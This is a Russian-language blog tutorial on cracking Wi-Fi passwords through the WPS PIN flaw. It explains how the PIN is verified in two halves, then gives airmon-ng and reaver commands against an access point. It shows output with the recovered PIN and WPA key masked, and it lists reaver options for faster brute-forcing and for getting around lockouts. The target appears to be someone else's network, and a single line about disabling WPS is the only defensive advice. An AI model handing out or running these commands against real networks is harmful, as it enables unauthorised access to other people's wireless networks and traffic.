Материал просмотрен 1,861 раз(а)

Частенько бывает так, что поставив супер-мегасложный (читай длинный) WPA2 пароль на свою точку доступа люди банально забывают про WPS (Wi-Fi Protected Setup). (Это хорошо, пока не добрались до 4g маршрутизаторов). Итак, что за зверь “WPS”? WPS – технология, облегчающая настройку клиента на работу с беспроводной точкой доступа.

На корпусе устройства имеется 8-мизначный PIN-код (значащих цифр 7, восьмая – контрольная, вычисляется на основании первых семи). Передав этот пин в точку устройство в ответ получит остальные параметры (ESSID имя и PSK – парольную фразу) в открытом виде. Итак, семь знаков пин-кода. Это десять миллионов комбинаций. На проверку пин-кода уходит от нескольких секунд до пол минуты. Слишком долго.

Да вот только в стандарте WPS была допущена фатальная ошибка. Оказывается PIN код проверяется в два этапа. Делится на половины и каждая часть проверяется отдельно!

Сам процесс обмена данными аутентификации можно представить в виде 8 сообщений. Message1 идёт от клиента в точку доступа. Message2 – идёт обратно (ответ), и так далее.

Так вот, забавное в этой ситуации то, что пакет EAP_NACK (сброс соединения при неуспешной аутентификации) клиент получит в сообщении M4 когда первая часть пин-кода неверна. И то же самое в сообщении M6, если неверна вторая часть.

Идём по самому неблагополучному сценарию, чтобы узнать первую часть PIN-кода, нужно перебрать от 0000 до 9999 = 10.000 вариантов! А узнать последние три цифры от 000 до 999 – ещё 1.000. Всего 11.000 вариантов! Уже намного меньше 10 миллионов, как заявлено раньше.

Автоматизировать этот перебор поможет утилита reaver, которая уже есть в паке Kali Linux. Пользоваться ей ужасно просто.

Этапы раскрытия парольной фразы на точке доступа с WPS

  1. Получаем список точек доступа с WPS.
    Для этого я пользуюсь консольной WPA_CLI, в командной строке которого последовательно ввожу scan и scan_results. Там ищу точки с методом [WPS];
  2. Разворачиваем антенну так, чтобы качество сигнала было наилучшим. У меня направленная антенна TP-LINK TL-ANT2414A
    Внешняя антенна

    Внешняя антенна

    Качество сигнала я проверяю при помощи airodump-ng mon0, где mon0 – интерфейс в режиме монитора. Чем больше значение, тем лучше сигнал. В идеале это больше -60. Если есть точки до которых -50 или выше,

    root@kali:~# airmon-ng
    Interface Chipset Driver

    wlan0 Unknown brcmsmac – [phy0]
    wlan1 Ralink RT2870/3070 rt2800usb – [phy1]

    root@kali:~# airmon-ng start wlan1
    Появится интерфейс mon0

  3. Пускаем перебор
    root@kali:~# reaver -i mon0 -b 84:C9:**:**:**:** -va (закрыл звёздочками, чтобы не палить)

Результат пришел через несколько часов:

[+] 97.47% complete @ 2015-03-28 18:41:26 (6 seconds/pin)
[+] Max time remaining at this rate: 0:27:48 (278 pins left to try)
[+] Trying pin 31******
[+] Trying pin 31******
[+] Trying pin 31******
[+] WPS PIN: '31******'
[+] WPA PSK: '**********'
[+] AP SSID: '*******************'

Вот так, а защититься от этой напасти нужно отключением WPS в настройках точки доступа. Не такая уж и необходимая тема. Хотя сдаст пароли при первой же возможности. Будьте бдительны!

Опции оптимизации перебора

Можно задать номер канала и SSID точки доступа:
# reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys
Благотворно сказывается на скорости брутфорса опция ‘–dh-small’, которая задает небольшое значение секретного ключа, тем самым облегчая расчеты на стороне точки доступа:
# reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small
Таймаут ожидания ответа по умолчанию равен пяти секундам. При необходимости его можно изменить:
# reaver -i mon0 -b 00:01:02:03:04:05 -t 2
Задержка между попытками по умолчанию равна одной секунде. Она также может быть настроена:
# reaver -i mon0 -b 00:01:02:03:04:05 -d 0
Некоторые точки доступа могут блокировать WPS на определенное время, заподозрив, что их пытаются поиметь. Reaver эту ситуацию замечает и делает паузу в переборе на 315 секунд по умолчанию, длительность этой паузы можно менять:
# reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250
Некоторые реализации протокола WPS разрывают соединение при неправильном PIN-коде, хотя по спецификации должны возвращать особое сообщение. Reaver автоматически распознает такую ситуацию, для этого существует опция ‘–nack’:
# reaver -i mon0 -b 00:01:02:03:04:05 --nack
Опция ‘–eap-terminate’ предназначена для работы с теми АР, которые требуют завершения WPS-сессии с помощью сообщения EAP FAIL:
# reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate
Возникновение ошибок в WPS-сессии может означать, что АР ограничивает число попыток ввода PIN-кода, либо просто перегружена запросами. Информация об этом будет отображаться на экране. В этом случае Reaver приостанавливает свою деятельность, причем время паузы может быть задано с помощью опции ‘–fail-wait’:
# reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360